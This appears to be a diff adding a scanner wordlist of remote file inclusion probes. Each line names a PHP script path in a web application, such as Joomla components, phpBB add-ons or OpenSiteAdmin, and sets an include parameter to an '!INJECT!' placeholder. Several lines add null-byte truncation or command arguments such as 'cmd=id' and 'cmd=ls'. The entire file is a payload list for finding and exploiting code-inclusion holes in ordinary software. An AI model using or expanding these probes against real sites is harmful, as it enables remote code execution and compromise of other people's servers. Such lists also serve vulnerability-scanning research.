+/Ex/modules/threadstop/threadstop.php?new_exbb[home_path]=!INJECT!?
+/Exophpdesk_PATH/pipe.php?lang_file=!INJECT!
+/FirstPost/block.php?Include=!INJECT!
+/Flickrclient.php?path_prefix=!INJECT!
+/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=!INJECT!?
+/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=!INJECT!?
+/Full_Release/include/body_comm.inc.php?content=!INJECT!
+/Gallery/displayCategory.php?basepath=!INJECT!
+/Include/lib.inc.php3?Include=!INJECT!?
+/Include/variables.php3?Include=!INJECT!?
+/Jobline/admin.jobline.php?mosConfig_absolute_path=!INJECT!
+/ListRecords.php?lib_dir=!INJECT!?&cmd=id
+/Lorev1/third_party/phpmailer/class.phpmailer.php?lang_path=!INJECT!
+/MOD_forum_fields_parse.php?phpbb_root_path=!INJECT!
+/Mamblog/admin.mamblog.php?cfgfile=!INJECT!
+/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=!INJECT!?
+/NuclearBB/tasks/send_queued_emails.php?root_path=!INJECT!?
+/OpenSiteAdmin/indexFooter.php?path=!INJECT!%00
+/OpenSiteAdmin/pages/pageHeader.php?path=!INJECT!?
+/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/FieldManager.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/Filter.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/Form.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/FormManager.php?path=!INJECT!%00
+/OpenSiteAdmin/scripts/classes/LoginManager.php?path=!INJECT!%00
+/PHP/includes/header.inc.php?root=!INJECT!?
+/PHPDJ_v05/dj/djpage.php?page=!INJECT!?
+/PaTh/index.php?rootpath=!INJECT!
+/Path_Script/createurl.php?formurl=!INJECT!
+/PhotoCart/adminprint.php?admin_folder=!INJECT!
+/Picssolution/install/config.php?path=!INJECT!?
+/RGboard/include/footer.php?_path[counter]=!INJECT!?
+/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=!INJECT!?
+/SQuery/lib/gore.php?libpath=!INJECT!
+/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=!INJECT!?
+/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=!INJECT!?
+/ScriptPage/source/includes/load_forum.php?mfh_root_path=!INJECT!
+/ScriptPath/footers.php?tinybb_footers=!INJECT!
+/ScriptPath/index.php?page=!INJECT!
+/Script_Path/config.inc.php?_path=!INJECT!?
+/Scripts/app_and_readme/navigator/index.php?page=!INJECT!
+/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=!INJECT!
+/Somery/team.php?checkauth=!INJECT!
+/Upload/install.php?skindir=!INJECT!
+/Widgets/Base/Footer.php?sys_dir=!INJECT!
+/Widgets/Base/widget.BifContainer.php?sys_dir=!INJECT!
+/Widgets/Base/widget.BifRoot.php?sys_dir=!INJECT!
+/Widgets/Base/widget.BifRoot2.php?sys_dir=!INJECT!
+/Widgets/Base/widget.BifRoot3.php?sys_dir=!INJECT!
+/Widgets/Base/widget.BifWarning.php?sys_dir=!INJECT!
+/WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=!INJECT!?
+/[path]/mybic_server.php?file=!INJECT!
+/[path]/previewtheme.php?theme=1&inc_path=!INJECT!?cmd
+/_administration/securite.php?cfg[document_uri]=!INJECT!
+/_blogadata/include/struct_admin.php?incl_page=!INJECT!?
+/_conf/_php-core/common-tpl-vars.php?admindir=!INJECT!
+/_connect.php?root=!INJECT!
+/_friendly/core/data/_load.php?friendly_path=!INJECT!
+/_friendly/core/data/yaml.inc.php?friendly_path=!INJECT!
+/_friendly/core/display/_load.php?friendly_path=!INJECT!
+/_friendly/core/support/_load.php?friendly_path=!INJECT!
+/_functions.php?prefix=!INJECT!
+/_includes/settings.inc.php?approot=!INJECT!
+/_theme/breadcrumb.php?rootBase=!INJECT!
+/_wk/wk_lang.php?WK[wkPath]=!INJECT!
+/abf_js.php?abs_pfad=!INJECT!?&cmd=id
+/about.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/about.php?bibtexrootrel=!INJECT!?
+/aboutinfo.php?bibtexrootrel=!INJECT!?
+/acc.php?page=!INJECT!
+/access/login.php?path_to_root=!INJECT!
+/account.php?insPath=!INJECT!
+/accsess/login.php?path_to_root=!INJECT!
+/active/components/xmlrpc/client.php?c[components]=!INJECT!
+/ad_main.php?_mygamefile=!INJECT!
+/add.cgi.php?blog_theme=!INJECT!
+/add_link.php?blog_theme=!INJECT!
+/addpost_newpoll.php?addpoll=preview&thispath=!INJECT!
+/addressbook.php?GLOBALS[basedir]=!INJECT!?
+/addsite.php?returnpath=!INJECT!
+/addvip.php?msetstr["PROGSDIR"]=!INJECT!
+/adm/krgourl.php?DOCUMENT_ROOT=!INJECT!?
+/adm/my_statistics.php?DOCUMENT_ROOT=!INJECT!?
+/admin.loudmouth.php?mainframe=!INJECT!
+/admin.php?Madoa=!INJECT!?
+/admin.php?cal_dir=!INJECT!
+/admin.php?env_dir=!INJECT!
+/admin.php?lang=!INJECT!
+/admin.php?page[path]=!INJECT!?&cmd=ls
+/admin.php?submit=submit&form_include_template=!INJECT!
+/admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=!INJECT!?admin
+/admin/ST_countries.php?include_path=!INJECT!?
+/admin/ST_platforms.php?include_path=!INJECT!?
+/admin/addentry.php?phpbb_root_path=!INJECT!?
+/admin/addons/archive/archive.php?adminfolder=!INJECT!
+/admin/admin.php?path=!INJECT!
+/admin/admin.php?site_url=!INJECT!
+/admin/admin_forgotten_password.php?root_folder_path=!INJECT!
+/admin/admin_news_bot.php?root_path=!INJECT!?
+/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=!INJECT!
+/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=!INJECT!
+/admin/admin_users.php?phpbb_root_path=!INJECT!
+/admin/auth.php?xcart_dir=!INJECT!?
+/admin/auth/secure.php?cfgProgDir=!INJECT!?
+/admin/autoprompter.php?CONFIG[BASE_PATH]=!INJECT!
+/admin/bin/patch.php?INSTALL_FOLDER=!INJECT!
+/admin/catagory.php?language=!INJECT!
+/admin/classes/pear/OLE/PPS.php?homedir=!INJECT!
+/admin/classes/pear/OLE/PPS/File.php?homedir=!INJECT!
+/admin/classes/pear/OLE/PPS/Root.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=!INJECT!
+/admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=!INJECT!
+/admin/code/index.php?load_page=!INJECT!
+/admin/comment.php?config[installdir]=!INJECT!
+/admin/common-menu.php?CONF[local_path]=!INJECT!
+/admin/components/com_fm/fm.install.php?lm_absolute_path=../../../&install_dir=!INJECT!?
+/admin/config_settings.tpl.php?include_path=!INJECT!?&cmd=id
+/admin/directory.php?config[installdir]=!INJECT!
+/admin/doeditconfig.php?thispath=../includes&config[path]=!INJECT!
+/admin/frontpage_right.php?loadadminpage=!INJECT!
+/admin/header.php?loc=!INJECT!
+/admin/inc/add.php?format_menue=!INJECT!
+/admin/inc/change_action.php?format_menue=!INJECT!
+/admin/include/common.php?commonIncludePath=!INJECT!?
+/admin/include/header.php?repertoire=!INJECT!?
+/admin/include/lib.module.php?mod_root=!INJECT!
+/admin/includes/admin_header.php?level=!INJECT!?
+/admin/includes/author_panel_header.php?level=!INJECT!?
+/admin/includes/header.php?bypass_installed=1&secure_page_path=!INJECT!%00
+/admin/includes/spaw/spaw_control.class.php?spaw_root=!INJECT!?
+/admin/index.php?path_to_script=!INJECT!?&cmd=ls
+/admin/index.php?pg=!INJECT!?
+/admin/index.php?xtrphome=!INJECT!
+/admin/index_sitios.php?_VIEW=!INJECT!
+/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=!INJECT!
+/admin/login.php?absolute_path=!INJECT!
+/admin/news.admin.php?path_to_script=!INJECT!?&cmd=ls
+/admin/news.php?language=!INJECT!
+/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=!INJECT!
+/admin/sendmsg.php?config[installdir]=!INJECT!
+/admin/setup/level2.php?dir=!INJECT!
+/admin/system/config/conf-activation.php?site_path=!INJECT!
+/admin/system/include.php?skindir=!INJECT!
+/admin/system/include.php?start=1&skindir=!INJECT!
+/admin/system/menu/item.php?site_path=!INJECT!
+/admin/system/modules/conf_modules.php?site_path=!INJECT!
+/admin/templates/template_thumbnail.php?thumb_template=!INJECT!
+/admin/testing/tests/0004_init_urls.php?init_path=!INJECT!?&
+/admin/themes.php?config[installdir]=!INJECT!
+/admin/tools/utf8conversion/index.php?path=!INJECT!?
+/admin/user_user.php?language=!INJECT!
+/admincp/auth/checklogin.php?cfgProgDir=!INJECT!
+/admincp/auth/secure.php?cfgProgDir=!INJECT!
+/adminhead.php?path[docroot]=!INJECT!
+/admini/admin.php?INC=!INJECT!?
+/admini/index.php?INC=!INJECT!?
+/administrator/admin.php?site_absolute_path=!INJECT!?
+/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_color/admin.color.php?mosConfig_live_site=!INJECT!?
+/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=!INJECT!?
+/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_events/admin.events.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=!INJECT!
+/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_jreactions/langset.php?comPath=!INJECT!?
+/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=!INJECT!?
+/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=!INJECT!?
+/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_webring/admin.webring.docs.php?component_dir=!INJECT!?
+/administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=!INJECT!
+/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=!INJECT!
+/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=!INJECT!?
+/administrator/menu_add.php?site_absolute_path=!INJECT!?
+/administrator/menu_operation.php?site_absolute_path=!INJECT!?
+/adminpanel/includes/add_forms/addmp3.php?GLOBALS[root_path]=!INJECT!
+/adminpanel/includes/mailinglist/mlist_xls.php?GLOBALS[root_path]=!INJECT!?
+/adodb/adodb-errorpear.inc.php?ourlinux_root_path=!INJECT!
+/adodb/adodb-pear.inc.php?ourlinux_root_path=!INJECT!
+/adodb/adodb.inc.php?path=!INJECT!
+/advanced_comment_system/admin.php?ACS_path=!INJECT!?
+/advanced_comment_system/index.php?ACS_path=!INJECT!?
+/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=!INJECT!?
+/agenda.php3?rootagenda=!INJECT!
+/agenda2.php3?rootagenda=!INJECT!
+/aides/index.php?page=!INJECT!?
+/ains_main.php?ains_path=!INJECT!
+/ajax/loadsplash.php?full_path=!INJECT!
+/ajouter.php?include=!INJECT!?
+/akarru.gui/main_content.php?bm_content=!INJECT!
+/akocomments.php?mosConfig_absolute_path=!INJECT!
+/amazon/cart.php?cmd=add&asin=!INJECT!
+/amazon/index.php?lang=!INJECT!
+/amazon/info.php?asin=!INJECT!
+/annonce.php?page=!INJECT!?&cmd=id
+/announcements.php?phpraid_dir=!INJECT!
+/anzagien.php?config[root_ordner]=!INJECT!?cmd=id
+/apbn/templates/head.php?APB_SETTINGS[template_path]=!INJECT!
+/api.php?t_path_core=!INJECT!?&cmd=id
+/apps/apps.php?app=!INJECT!
+/appserv/main.php?appserv_root=!INJECT!
+/arab3upload/customize.php?path=!INJECT!?&cmd=pwd
+/arab3upload/initialize.php?path=!INJECT!?&cmd=pwd
+/arash_lib/class/arash_gadmin.class.php?arashlib_dir=!INJECT!
+/arash_lib/class/arash_sadmin.class.php?arashlib_dir=!INJECT!
+/arash_lib/include/edit.inc.php?arashlib_dir=!INJECT!
+/arash_lib/include/list_features.inc.php?arashlib_dir=!INJECT!
+/archive.php?scriptpath=!INJECT!?
+/aroundme/template/barnraiser_01/pol_view.tpl.php?poll=1&templatePath=!INJECT!%00
+/artlist.php?root_path=!INJECT!
+/assets/plugins/mp3_id/mp3_id.php?GLOBALS[BASE]=!INJECT!?cmd
+/assets/snippets/reflect/snippet.reflect.php?reflect_base=!INJECT!?
+/athena.php?athena_dir=!INJECT!
+/auction/auction_common.php?phpbb_root_path=!INJECT!
+/auction/includes/converter.inc.php?include_path=!INJECT!?
+/auction/includes/messages.inc.php?include_path=!INJECT!?
+/auction/includes/settings.inc.php?include_path=!INJECT!?
+/auction/phpAdsNew/view.inc.php?phpAds_path=!INJECT!
+/auth.cookie.inc.php?da_path=!INJECT!
+/auth.header.inc.php?da_path=!INJECT!
+/auth.sessions.inc.php?da_path=!INJECT!
+/auth/auth.php?phpbb_root_path=!INJECT!
+/auth/auth_phpbb/phpbb_root_path=!INJECT!
+/authenticate.php?default_path_for_themes=!INJECT!?
+/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=!INJECT!
+/authentication/smf/smf.functions.php?pConfig_auth[smf_path]=!INJECT!
+/auto_check_renewals.php?installed_config_file=!INJECT!?cmd=ls
+/autoindex.php?cfg_file=!INJECT!?
+/awzmb/adminhelp.php?Setting[OPT_includepath]=!INJECT!
+/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=!INJECT!
+/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=!INJECT!
+/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=!INJECT!
+/awzmb/modules/help.incl.php?Setting[OPT_includepath]=!INJECT!
+/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=!INJECT!
+/axoverzicht.cgi?maand=!INJECT!
+/b2-tools/gm-2-b2.php?b2inc=!INJECT!
+/b2verifauth.php?index=!INJECT!?
+/backend/addons/links/index.php?PATH=!INJECT!
+/basebuilder/src/main.inc.php?mj_config[src_path]=!INJECT!???
+/bb_admin.php?includeFooter=!INJECT!
+/beacon/language/1/splash.lang.php?languagePath=!INJECT!
+/beacon/language/1/splash.lang.php?languagePath=!INJECT!?
+/belegungsplan/jahresuebersicht.inc.php?root=!INJECT!
+/belegungsplan/monatsuebersicht.inc.php?root=!INJECT!
+/belegungsplan/tagesuebersicht.inc.php?root=!INJECT!
+/belegungsplan/wochenuebersicht.inc.php?root=!INJECT!
+/bemarket/postscript/postscript.php?p_mode=!INJECT!
+/biblioteca/bib_form.php?CLASSPATH=!INJECT!
+/biblioteca/bib_pldetails.php?CLASSPATH=!INJECT!
+/biblioteca/bib_plform.php?CLASSPATH=!INJECT!
+/biblioteca/bib_plsearchc.php?CLASSPATH=!INJECT!
+/biblioteca/bib_plsearchs.php?CLASSPATH=!INJECT!
+/biblioteca/bib_save.php?CLASSPATH=!INJECT!
+/biblioteca/bib_searchc.php?CLASSPATH=!INJECT!
+/biblioteca/bib_searchs.php?CLASSPATH=!INJECT!
+/biblioteca/edi_form.php?CLASSPATH=!INJECT!
+/biblioteca/edi_save.php?CLASSPATH=!INJECT!
+/biblioteca/gen_form.php?CLASSPATH=!INJECT!
+/biblioteca/gen_save.php?CLASSPATH=!INJECT!
+/biblioteca/lin_form.php?CLASSPATH=!INJECT!
+/biblioteca/lin_save.php?CLASSPATH=!INJECT!
+/biblioteca/luo_form.php?CLASSPATH=!INJECT!
+/biblioteca/luo_save.php?CLASSPATH=!INJECT!
+/biblioteca/sog_form.php?CLASSPATH=!INJECT!
+/biblioteca/sog_save.php?CLASSPATH=!INJECT!
+/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=!INJECT!
+/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=!INJECT!?
+/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=!INJECT!?
+/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=!INJECT!?
+/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=!INJECT!?
+/bild.php?config[root_ordner]=!INJECT!?&cmd=id
+/bin/qte_init.php?qte_root=!INJECT!?
+/bingoserver.php3?response_dir=!INJECT!
+/block.php?Include=!INJECT!
+/blocks/birthday.php?full_path=!INJECT!
+/blocks/events.php?full_path=!INJECT!
+/blocks/help.php?full_path=!INJECT!
+/blogcms/admin/media.php?DIR_LIBS=!INJECT!?
+/blogcms/admin/xmlrpc/server.php?DIR_LIBS=!INJECT!?
+/blogcms/index.php?DIR_PLUGINS=!INJECT!?
+/board/post.php?qb_path=!INJECT!
+/boitenews4/index.php?url_index=!INJECT!?
+/books/allbooks.php?home=!INJECT!
+/books/home.php?home=!INJECT!
+/books/mybooks.php?home=!INJECT!
+/bp_ncom.php?bnrep=!INJECT!
+/bp_ncom.php?bnrep=!INJECT!?
+/bp_news.php?bnrep=!INJECT!
+/bridge/enigma/E2_header.inc.php?boarddir=!INJECT!?
+/bridge/yabbse.inc.php?sourcedir=!INJECT!
+/bridges/SMF/logout.php?path_to_smf=!INJECT!
+/bu/bu_cache.php?bu_dir=!INJECT!?
+/bu/bu_claro.php?bu_dir=!INJECT!?
+/bu/bu_parse.php?bu_dir=!INJECT!?
+/bu/process.php?bu_dir=!INJECT!?
+/buddy.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/builddb.php?env_dir=!INJECT!
+/button/settings_sql.php?path=!INJECT!
+/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=!INJECT!?
+/cal.func.php?dir_edge_lang=!INJECT!
+/calcul-page.php?home=!INJECT!
+/calendar.php?cfg_dir=!INJECT!?
+/calendar.php?lang=!INJECT!
+/calendar.php?path_to_calendar=!INJECT!
+/calendar.php?vwar_root=!INJECT!?
+/calendar/demo/index.php?date=&v=!INJECT!?
+/calendar/payment.php?insPath=!INJECT!
+/calendario/cal_insert.php?CLASSPATH=!INJECT!
+/calendario/cal_save.php?CLASSPATH=!INJECT!
+/calendario/cal_saveactivity.php?CLASSPATH=!INJECT!
+/cart.php?lang_list=!INJECT!
+/cart_content.php?cart_isp_root=!INJECT!
+/catalogg/inludes/include_once.php?include_file=!INJECT!
+/catalogshop.php?mosConfig_absolute_path=!INJECT!
+/cdsagenda/modification/SendAlertEmail.php?AGE=!INJECT!?
+/cfagcms/themes/default/index.php?main=!INJECT!
+/ch_readalso.php?read_xml_include=!INJECT!
+/challenge.php?vwar_root=!INJECT!
+/change_preferences2.php?target=!INJECT!?
+/chat.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/chat.php?my[root]=!INJECT!?cm=id
+/chat/adminips.php?banned_file=!INJECT!
+/chat/users_popupL.php3?From=!INJECT!
+/checkout.php?abs_path=!INJECT!
+/checkout.php?abs_path=!INJECT!?
+/ciamos_path/modules/forum/include/config.php?module_cache_path='!INJECT!'
+/circ.php?include_path=!INJECT!?
+/circolari/cir_save.php?CLASSPATH=!INJECT!
+/citywriter/head.php?path=!INJECT!?
+/cl_files/index.php?path_to_calendar=!INJECT!?
+/claroline/auth/ldap/authldap.php?includePath=!INJECT!
+/claroline/phpbb/page_tail.php?includePath=!INJECT!
+/claroline180rc1/claroline/inc/lib/import.lib.php?includePath=!INJECT!?
+/class.mysql.php?path_to_bt_dir=!INJECT!
+/class/Wiki/Wiki.php?c_node[class_path]=!INJECT!
+/class/jpcache/jpcache.php?_PSL[classdir]=!INJECT!?exec=uname
+/class/php/d4m_ajax_pagenav.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/classes/Auth/OpenID/Association.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/BigMath.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/DiffieHellman.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/DumbStore.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/Extension.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/FileStore.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/HMAC.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/MemcachedStore.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/Message.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/Nonce.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/SQLStore.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/SReg.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/TrustRoot.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/OpenID/URINorm.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/Yadis/XRDS.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/Yadis/XRI.php?_ENV[asicms][path]=!INJECT!
+/classes/Auth/Yadis/XRIRes.php?_ENV[asicms][path]=!INJECT!
+/classes/Cache.class.php?rootdir=!INJECT!?
+/classes/Customer.class.php?rootdir=!INJECT!?
+/classes/Performance.class.php?rootdir=!INJECT!?
+/classes/Project.class.php?rootdir=!INJECT!?
+/classes/Representative.class.php?rootdir=!INJECT!?
+/classes/User.class.php?rootdir=!INJECT!?
+/classes/admin_o.php?absolutepath=!INJECT!
+/classes/adodbt/sql.php?classes_dir=!INJECT!
+/classes/adodbt/sql.php?classes_dir=!INJECT!?
+/classes/board_o.php?absolutepath=!INJECT!
+/classes/class_admin.php?PathToComment=!INJECT!?
+/classes/class_comments.php?PathToComment=!INJECT!?
+/classes/class_mail.inc.php?path_to_folder=!INJECT!
+/classes/common.php?rootdir=!INJECT!?
+/classes/core/language.php?rootdir=!INJECT!
+/classes/dev_o.php?absolutepath=!INJECT!
+/classes/file_o.php?absolutepath=!INJECT!
+/classes/html/com_articles.php?absolute_path=!INJECT!
+/classes/phpmailer/class.cs_phpmailer.php?classes_dir=!INJECT!
+/classes/query.class.php?baseDir=!INJECT!
+/classes/tech_o.php?absolutepath=!INJECT!
+/classified.php?insPath=!INJECT!
+/classified_right.php?language_dir=!INJECT!
+/classifieds/index.php?lowerTemplate=!INJECT!
+/clear.php?bibtexrootrel=!INJECT!?
+/clearinfo.php?bibtexrootrel=!INJECT!?
+/click.php?dir=!INJECT!?
+/client.php?dir=!INJECT!
+/client/faq_1/PageController.php?dir=!INJECT!
+/clients/index.php?src=!INJECT!
+/cls_fast_template.php?fname=!INJECT!
+/cm68news/engine/oldnews.inc.php?addpath=!INJECT!?&
+/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=!INJECT!?
+/cms/meetweb/classes/ManagerResource.class.php?root_path=!INJECT!
+/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=!INJECT!
+/cms/meetweb/classes/RegForm.class.php?root_path=!INJECT!
+/cms/meetweb/classes/RegResource.class.php?root_path=!INJECT!
+/cms/meetweb/classes/RegRightsResource.class.php?root_path=!INJECT!
+/cms/meetweb/classes/modules.php?root_path=!INJECT!
+/cms/modules/form.lib.php?sourceFolder=!INJECT!?
+/cms/system/openengine.php?oe_classpath=!INJECT!???
+/cmsimple2_7/cmsimple/cms.php?pth['file']['config']=!INJECT!?
+/cn_config.php?tpath=!INJECT!?
+/coast/header.php?sections_file=!INJECT!?
+/code/berylium-classes.php?beryliumroot=!INJECT!?
+/code/display.php?admindir=!INJECT!?
+/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=!INJECT!
+/com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=!INJECT!?
+/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=!INJECT!?
+/com_media_library/toolbar_ext.php?mosConfig_absolute_path=!INJECT!?
+/com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=!INJECT!?
